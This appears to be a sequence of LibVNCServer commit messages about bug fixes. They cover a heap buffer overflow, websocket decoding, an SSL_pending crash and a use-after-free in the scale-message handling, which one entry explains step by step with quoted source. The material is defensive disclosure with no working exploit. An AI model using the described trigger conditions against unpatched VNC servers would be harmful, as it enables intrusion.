fix critical heap-based buffer overflow which allowed easy modification
of a return address via an overwritten function pointer
fix bug causing connections to fail due a "one websocket frame = one
ws_read" assumption, which failed with LibVNCServer-0.9.11
refactor websocket Hybi decode to use a simple state machine for
decoding of websocket frames
Since autotools officially is no longer supported (see various github
issues), drop the related infrastructure to stop tempting people to use
it for building.

Discovered by madscientist159 on 11 Jan 2015:
"noted in testing with the threaded server build, whereby
if newClientHook() returned RFB_CLIENT_ON_HOLD there was no
way to release the hold when the server became ready"
Make it possible to get autoPort behavior with either ipv4 or ipv6
disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a
negative number. This will make it possible for x11vnc to enforce
its -noipv6 option, as discussed in the following bug report:
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=672449
Avoid calling SSL_pending when connection is already closed, calling SSL_pending with connection already closed is crashing.
To reproduce, open a secure websocket binay protocol connection with libvncserver compiled with OpenSSL, and when libvncserver is waiting for rfbProcessClientProtocolVersion send any invalid char, it will fail and call rfbCloseClient whith destroy all SSL context, calling SSL_pending after that will generate a invalid access.
- When processing input, check if there is any extra data
pending in the internal websocket frame and SSL buffers.
- Prevents input events lagging behind because they get
stuck in one of the buffers.
Data pending in our own buffers cannot be detected with
select() so was not processed until more input arrives
from the network.
- Closes # 55

Reported by Ken Johnson <Ken.Johnson1@telus.com>.
The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)
if (msg.ssc.scale == 0) {
rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
rfbCloseClient(cl);
return;
}
rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);
rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
return;
at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.
else
{
rfbResizeFrameBufferMsg rmsg;
rmsg.type = rfbResizeFrameBuffer;
rmsg.pad1=0;
rmsg.framebufferWidth = Swap16IfLE(cl->scaledScreen->width);
rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
rfbLogPerror("rfbNewClient: write");
rfbCloseClient(cl);
rfbClientConnectionGone(cl); << Call which may can lead to a free.
return FALSE;
}
}
return TRUE;
Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.
